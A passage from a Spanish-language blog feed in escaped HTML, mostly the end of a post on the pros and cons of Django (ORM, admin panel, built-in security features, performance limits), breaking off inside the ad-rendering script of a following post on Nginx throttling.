style=&#34;color:#78787e&#34;&gt;--&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;CREATE&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;TABLE&lt;/span&gt; reviews_review (id &lt;span style=&#34;color:#ff5c57&#34;&gt;integer&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;NOT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;NULL&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;PRIMARY&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;KEY&lt;/span&gt; AUTOINCREMENT, title &lt;span style=&#34;color:#ff5c57&#34;&gt;varchar&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;25&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;NOT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;NULL&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;comment&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;text&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;NOT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;NULL&lt;/span&gt;, name &lt;span style=&#34;color:#ff5c57&#34;&gt;varchar&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;20&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;NOT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;NULL&lt;/span&gt;, created datetime &lt;span style=&#34;color:#ff6ac1&#34;&gt;NOT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;NULL&lt;/span&gt;, modified datetime &lt;span style=&#34;color:#ff6ac1&#34;&gt;NOT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;NULL&lt;/span&gt;, user_id &lt;span style=&#34;color:#ff5c57&#34;&gt;integer&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;NULL&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;REFERENCES&lt;/span&gt; auth_user (id) &lt;span style=&#34;color:#ff6ac1&#34;&gt;DEFERRABLE&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;INITIALLY&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;DEFERRED&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;CREATE&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;INDEX&lt;/span&gt; reviews_review_user_id_875caff2 &lt;span style=&#34;color:#ff6ac1&#34;&gt;ON&lt;/span&gt; reviews_review (user_id);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;COMMIT&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Además de lo anterior, su ORM soporta múltiples bases de datos, por lo que migrar de motor de base de datos es bastante sencillo y tras unos pocos cambios puedes migrar perfectamente de Postgres a MySQL o viceversa, únicamente cambiando un par de lineas en la configuración. Ahorrándote el tener que escribir SQL a mano, como lo harías en las &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/tutorial-de-migraciones-en-go-con-migrate/&#34;&gt;migraciones de otro lenguaje, como go&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;DATABASES &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;default&amp;#39;&lt;/span&gt;: {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;ENGINE&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.db.backends.mysql&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;OPTIONS&amp;#39;&lt;/span&gt;: {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;read_default_file&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;/path/to/my.cnf&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;La única desventaja del ORM de django es su velocidad, pues se queda corto frente a otras alternativas como sqlAlchemy, o &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/fastapi/integracion-del-orm-de-python-tortoise-con-fastapi/&#34;&gt;tortoise-orm (el cual puedes integrar fácilmente fon FastAPI)&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;panel-de-administrador-incluido&#34;&gt;Panel de administrador incluido&lt;/h3&gt;&#xA;&lt;p&gt;Django cuenta con el &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/&#34;&gt;django admin panel, el cual es personalizable&lt;/a&gt;&#xA;, un panel de administración que viene instalado por defecto. Este administrador implementa un CRUD a la base de datos de una manera sencilla. Y, además, cuenta con un sólido sistema de permisos para restringir el acceso a los datos como tu quieras.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/images/Django-panel-admin.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/images/Django-panel-admin.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Panel de administración de Django&#34; width=&#34;1028&#34; height=&#34;651&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;ofrece-seguridad-ante-los-ataques-mas-comunes&#34;&gt;Ofrece seguridad ante los ataques más comunes&lt;/h3&gt;&#xA;&lt;p&gt;Django incluye ciertas utilidades, que se encargan de mitigar la mayoría de los ataques tales como XSS, XSRF, injecciones SQL, Clickjacking y otros. La mayoría ya están disponibles y basta con solo agregar el middleware o etiqueta de plantilla correspondiente.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;form method&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;post&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;{&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt; csrf_token &lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;manejo-de-usuarios-incluido&#34;&gt;Manejo de usuarios incluído&lt;/h3&gt;&#xA;&lt;p&gt;La mayoría de las aplicaciones requieren un sistema de manejo de usuarios, ya sabes, registrarlos, activarlos, loggearlos, recuperación de contraseña, bien, pues Django ya incluye todo lo anterior por defecto, incluso decoradores para restringir las vistas para usuarios autenticados.&lt;/p&gt;&#xA;&lt;h4 id=&#34;autenticacion-probada-incluso-con-jwt&#34;&gt;Autenticación probada, incluso con JWT.&lt;/h4&gt;&#xA;&lt;p&gt;Este framework cuenta con un sistema de autenticación probado, basado en sesiones que se identifican por medio de una cookie. El sistema de autenticación ya ha sido puesto a prueba en numerosas ocasiones por algunos de los sitios web con más tráfico que hay, como Instagram o el sitio web de la NASA. Pinterest empezó con Django pero se movió hacia node.&lt;/p&gt;&#xA;&lt;p&gt;Puedes usar la autenticación con cookie, por sesiones o existen paquetes que te permiten usarla con JWT. Por cierto, tengo una entrada donde explico como &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/django-rest-framework-y-jwt-para-autenticar-usuarios/&#34;&gt;autenticar un usuario usando JSON Web token JWT en Django Rest Framework&lt;/a&gt;&#xA;. Además escribí otra explicando porque &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/no-uses-jwt-para-gestionar-sesiones-traduccion/&#34;&gt;algunos consideran que esto no es una buena idea.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h4 id=&#34;sistema-de-permisos&#34;&gt;Sistema de permisos&lt;/h4&gt;&#xA;&lt;p&gt;Django cuenta con un sólido &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/entiende-los-permisos-en-gnu-linux-y-el-comando-chmod/&#34;&gt;sistema de permisos y grupos&lt;/a&gt;&#xA; que vincula a sus usuarios con modelos en la base de datos que puedes empezar a usar solo con unas cuantas lineas de código.&lt;/p&gt;&#xA;&lt;h3 id=&#34;sistema-de-cache-out-of-the-box&#34;&gt;Sistema de caché out of the box&lt;/h3&gt;&#xA;&lt;p&gt;Django cuenta con &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/cache-en-django-rest-framework-con-memcached/&#34;&gt;un sistema de caché muy robusto&lt;/a&gt;&#xA; que abarca desde cacheo de sitio completo hasta incluso un nivel más granular pudiendo cachear resultados de consultas SQL.&lt;/p&gt;&#xA;&lt;h3 id=&#34;sistema-de-messages-out-of-the-box&#34;&gt;Sistema de messages out of the box&lt;/h3&gt;&#xA;&lt;p&gt;Django cuenta con un sistema de mensajes basado en sesiones que te permite mostrarle al usuario mensajes que caducarán tras ser vistos, todo esto solo con agregar el middleware correspondiente&lt;/p&gt;&#xA;&lt;h3 id=&#34;sistema-de-i18n-incluido&#34;&gt;Sistema de i18n incluído&lt;/h3&gt;&#xA;&lt;p&gt;Django cuenta con un sistema para sitios multilingues out of the box, basado en archivos po y mo, junto con gettext, totalmente listo para ser usado y sin tener que instalar librerías adicionales.&lt;/p&gt;&#xA;&lt;h3 id=&#34;manejo-y-validacion-de-formularios&#34;&gt;Manejo y validación de formularios&lt;/h3&gt;&#xA;&lt;p&gt;Django cuenta con un sistema que permite crear formularios con código Python de manera muy sencilla, incluso tomando como base modelos en la base de datos, estos pueden usarse para crear filas en tu base de datos e inclusive para usarlos para validar los datos que ingresa tu usuario en el backend.&lt;/p&gt;&#xA;&lt;h3 id=&#34;multiples-paquetes-disponibles-para-la-mayoria-de-las-necesidades-web&#34;&gt;Múltiples paquetes disponibles para la mayoría de las necesidades web&lt;/h3&gt;&#xA;&lt;p&gt;Django cuenta con muchísimos paquetes para resolver la mayoría de los problemas comunes, además son paquetes supervisados y mejorados por la comunidad, lo que garantiza una calidad, robustez y estabilidad impresionante.&lt;/p&gt;&#xA;&lt;p&gt;Solo por nombrar algunos:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/busquedas-con-solr-con-django-haystack/&#34;&gt;Django-haystack&lt;/a&gt;&#xA;(Para búsquedas&#xA;complejas)&lt;/li&gt;&#xA;&lt;li&gt;Django-watson (Búsquedas)&lt;/li&gt;&#xA;&lt;li&gt;DRF (REST)&lt;/li&gt;&#xA;&lt;li&gt;Graphene (Graphql)&lt;/li&gt;&#xA;&lt;li&gt;Django-rest-auth (Autenticación)&lt;/li&gt;&#xA;&lt;li&gt;Django-allauth (Autenticación)&lt;/li&gt;&#xA;&lt;li&gt;Django-filter (Búsquedas)&lt;/li&gt;&#xA;&lt;li&gt;Django-storage (AWS storage)&lt;/li&gt;&#xA;&lt;li&gt;Django-braces (Funciones comunes)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Entre todos ellos me gustaría resaltar &lt;strong&gt;DRF (Django Rest Framework) que vuelve la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/caracteristicas-basicas-de-una-api-rest/&#34;&gt;creación de una API REST&lt;/a&gt;&#xA;, el manejo de permisos y &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/throttling-en-nginx/&#34;&gt;throttling&lt;/a&gt;&#xA;, una tarea simple&lt;/strong&gt;, comparada con crear todo desde cero.&lt;/p&gt;&#xA;&lt;p&gt;Otro paquete a destacar que te permite trabajar con websockets, para crear una &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/django-channels-consumers-scope-y-eventos/&#34;&gt;aplicación que se comunique con el servidor en tiempo real, a través de eventos, es django-channels.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;django-te-lleva-de-una-idea-a-un-prototipo-funcional-rapido&#34;&gt;Django te lleva de una idea a un prototipo funcional rápido&lt;/h3&gt;&#xA;&lt;p&gt;Yo considero esta &lt;strong&gt;la ventaja principal de Django&lt;/strong&gt;. A pesar de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/no-te-obsesiones-con-el-rendimiento-de-tu-aplicacion-web/&#34;&gt;no ser el framework con mejor rendimiento&lt;/a&gt;&#xA;, &lt;strong&gt;Django te lleva de una idea a un MVP rápido, con pocas lineas de código&lt;/strong&gt;. Lo cual es una ventaja competitiva gigantesca frente a otros frameworks, especialmente en entornos iterativos.&lt;/p&gt;&#xA;&lt;p&gt;Con Django tendrías un prototipo funcionando más rápido que con cualquier otro framework &amp;ldquo;menos opinado&amp;rdquo; o que requiera que programes todo desde cero.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/images/meme-django.jpeg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/images/meme-django.jpeg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Porque usar Django&#34; width=&#34;1080&#34; height=&#34;932&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;django-es-una-solucion-probada-y-madura&#34;&gt;Django es una solución probada y madura&lt;/h3&gt;&#xA;&lt;p&gt;Hay muchísimos frameworks nuevos cada día. La mayoría de ellos son solo una moda y caen en desuso con el pasar de los años, dejando proyectos sin soporte. Django es un framework que lleva muchísimo tiempo funcionando, que ha pasado por numerosas pruebas que lo han vuelto muy robusto y confiable, y que no va a desaparecer de la noche a la mañana dejándote con un proyecto sin soporte.&lt;/p&gt;&#xA;&lt;p&gt;Considera que Django fue la opción que alguna vez eligieron sitios tan grandes como Instagram o Pinterest.&lt;/p&gt;&#xA;&lt;h3 id=&#34;compatibilidad-de-django-con-librerias-de-machine-learning&#34;&gt;Compatibilidad de Django con librerías de Machine Learning&lt;/h3&gt;&#xA;&lt;p&gt;Python es genial cuando se trata de Machine Learning, librerías geniales como Pytorch, ScikitLearn, Numpy y Keras son bastante usadas a nivel mundial. Dado que Django está escrito en Python, podras integrar estas librerías de manera nativa a tus proyectos de Django, sin necesidad de crear un servicio nuevo, manteniendo la complejidad de tu código al mínimo.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/images/iceberg-meme.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/images/iceberg-meme.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Machine learning con Python&#34; width=&#34;1000&#34; height=&#34;1000&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;las-desventajas-de-django&#34;&gt;Las desventajas de Django&lt;/h2&gt;&#xA;&lt;p&gt;No todo es mágico con Django, hay algunas cosas que pueden considerarse una desventaja y que yo cambiaría sin dudarlo. Ciertamente &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/como-mejorar-django-framework/&#34;&gt;Django puede ser mejorado en muchos aspectos&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;es-un-monolito&#34;&gt;Es un monólito&lt;/h3&gt;&#xA;&lt;p&gt;Django es un Framework antiguo, con todo lo que se necesita para desarrollar una aplicación web, un ORM, un sistema de plantillas, middleware y muchas otras piezas que, están ahí y son requeridas para que el framework funcione, las necesites o no. Sin embargo, Django puede modularizarse para generar respuestas API en JSON (u otro formato) en lugar de HTML, ignorando el resto de la maquinaría del framework.&lt;/p&gt;&#xA;&lt;p&gt;La misma estabilidad de Django lo ha hecho verse algo lento en un mundo de frameworks de Javascript que evoluciona muy rápido.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Actualización&lt;/strong&gt;: Respecto al sistema de plantillas, si lo combinas con librerías como htmx o turbolinks tendrás lo mejor de ambos mundos: interactividad en el frontend con un generación de HTML en el backend.&lt;/p&gt;&#xA;&lt;h3 id=&#34;es-lento-y-maneja-peticiones-de-una-en-una&#34;&gt;Es lento y maneja peticiones de una en una&lt;/h3&gt;&#xA;&lt;p&gt;Python es un lenguaje interpretado que se hizo para ser bello y simple, no necesariamente rápido. En mi comparación de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/python-vs-go-cual-es-el-mejor-lenguaje-de-programacion/&#34;&gt;python vs go&lt;/a&gt;&#xA; comparo el rendimiento de ambos, solo para que te des una idea.&lt;/p&gt;&#xA;&lt;p&gt;Sumado a lo anterior, Django tampoco brilla por su velocidad a la hora de ejecutarse. En la carrera por ser un framework veloz, está por debajo de tecnologías más modernas como Flask o FastAPI. Entra en &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/docker/python-fastapi-el-mejor-framework-de-python/&#34;&gt;mi tutorial sobre FastAPI&lt;/a&gt;&#xA; si quieres ver que tan lento es Django comparado con otros frameworks.&lt;/p&gt;&#xA;&lt;h3 id=&#34;su-orm-no-es-asincrono-ni-tampoco-el-mas-veloz&#34;&gt;Su ORM no es asíncrono ni tampoco el más veloz&lt;/h3&gt;&#xA;&lt;p&gt;Django está trabajando porque su ORM sea asíncrono, pero aún no lo consigue. Otras alternativas como tortoise-orm, sql-alchemy, pony-orm le llevan ventaja en este aspecto.&lt;/p&gt;&#xA;&lt;h3 id=&#34;curva-de-aprendizaje-moderada&#34;&gt;Curva de aprendizaje moderada&lt;/h3&gt;&#xA;&lt;p&gt;Django sigue la filosofía de baterías incluidas. Lo cual es bueno, porque es código que te ahorras al escribir, pero también malo, pues es código que necesitas aprender a usar: el ORM con modelos y consultas, el middleware, las vistas, DRF (para las APIs) o el sistema de plantillas, el manejador de urls, traducción de cadenas de texto, el paquete de i18n, el framework de mensajes, etc.&lt;/p&gt;&#xA;&lt;p&gt;Aprender todo lo anterior implica más tiempo del que te tomaría aprender otros Frameworks más minimalistas; como Flask o Express.&lt;/p&gt;&#xA;&lt;h2 id=&#34;alternativas-a-django-en-otros-lenguajes&#34;&gt;Alternativas a Django en otros lenguajes&lt;/h2&gt;&#xA;&lt;p&gt;Si amas Django, pero consideras que necesitas una solución un poco más moderna acorde los paradigmas más actuales prueba con las siguientes opciones:&lt;/p&gt;&#xA;&lt;h3 id=&#34;frameworks-como-django-pero-en-javascript&#34;&gt;Frameworks como django pero en Javascript&lt;/h3&gt;&#xA;&lt;p&gt;Si usas Framework y buscas un framework parecido, tengo entendido que &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://adonisjs.com/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;AdonisJS&lt;/a&gt;&#xA; y &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://nestjs.com/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;NestJS&lt;/a&gt;&#xA; ofrecen experiencias similares de desarrollo.&lt;/p&gt;&#xA;&lt;h3 id=&#34;frameworks-como-django-pero-en-go&#34;&gt;Frameworks como django pero en Go&lt;/h3&gt;&#xA;&lt;p&gt;Si estas usando este maravilloso y super simple &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-lenguaje-de-programacion-introduccion-a-variables-y-tipos-de-datos/&#34;&gt;lenguaje de programación llamado Go&lt;/a&gt;&#xA;, sé que el framework &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/beego/beego&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Beego&lt;/a&gt;&#xA; es bastante similar a Django en cuanto a su filosofía de baterías incluídas.&lt;/p&gt;&#xA;&lt;h3 id=&#34;frameworks-como-django-pero-en-rust&#34;&gt;Frameworks como django pero en Rust&lt;/h3&gt;&#xA;&lt;p&gt;Si bien es más parecido a RoR, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://loco.rs/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Loco, escrito en Rust,&lt;/a&gt;&#xA; ofrece una experiencia bastante similar a un framework de alto nivel como Django, aunque &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/rust/que-hace-al-lenguaje-rust-tan-dificil-de-aprender/&#34;&gt;escribir código Rust es más difícil&lt;/a&gt;&#xA; que escribir en Python.&lt;/p&gt;&#xA;&lt;h2 id=&#34;mi-opinion-sobre-las-ventajas-y-desventajas-de-django&#34;&gt;Mi opinión sobre las ventajas y desventajas de Django&lt;/h2&gt;&#xA;&lt;p&gt;Desde mi punto de vista las ventajas superan a las desventajas, por lo que yo lo considero una opción muy atractiva para desarrollar un sitio web complejo cuando se tiene poco tiempo o necesitas encontrar desarrolladores rápido.&lt;/p&gt;&#xA;&lt;p&gt;¿Aún no te convenzo? Recuerda que Instagram es el sitio web con Django como backend más grande que existe.&lt;/p&gt;&#xA;&lt;p&gt;Al final, como siempre, este es mi punto de vista y cada persona tiene el suyo. Espero que este post te haya mostrado algo que no habrías considerado sobre Django antes de leerlo.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;¿Por qué usar Django en un mundo donde todo es Javascript? ¿De verdad vale la pena aprender un Framework de Python en un ecosistema que se empecina en Frameworks escritos en Javascript? Pues yo creo que sí y a continuación te expongo algunas de las razones por las que deberías usar Django. Y, para no perder objetividad, te hablaré tanto de las ventajas, como de las desventajas; ya sabes que ninguna solución es perfecta.&lt;/p&gt;</summary>
    </item>
    
    
    <item>
      <title>Throttling en Nginx</title>
      <link>https://coffeebytes.dev/es/software-architecture/throttling-en-nginx/</link>
      <pubDate>Sat, 13 Mar 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/software-architecture/throttling-en-nginx/</guid>
      
      <category>software architecture</category>
      
      <category>linux</category>
      
      
      
      
      
      <content:encoded>&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Este libro me mostró la manera en que las grandes empresas, como Youtube, Dropbox, Google, etc. diseñan sus sistemas para manejar peticiones astronómicas por segundo. Alex Xu te enseña cómo estructurar réplicas de bases de datos, caché, balanceadores de carga y todos los detalles sobre el diseño de software de clase empresarial, si estás interesado en aprender sobre sistemas que escalan, no debes perderte este libro.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del System Design Interview\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/system-design-interview.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41rodp3\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de System Design Interview y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;El mejor libro para aprender Arquitectura de Software\&#34;},{\&#34;description\&#34;:\&#34;Después de buscar el mejor recurso linux en un montón de foros online encontré esta pequeña joya llamada &#39;How linux works&#39;. Es un libro completo que cubre básicamente todas las entrañas de Linux: Cgroups, PAM, Cron daemons e incluso los bootladers y el proceso init de Linux. La verdad es que no puedo recomendarlo más, 5/5. Ve a leerlo.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Cómo funciona Linux\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/how-linux-works.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3QsXkuw\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Cómo funciona Linux y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo destacar como un ingeniero de Linux?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; 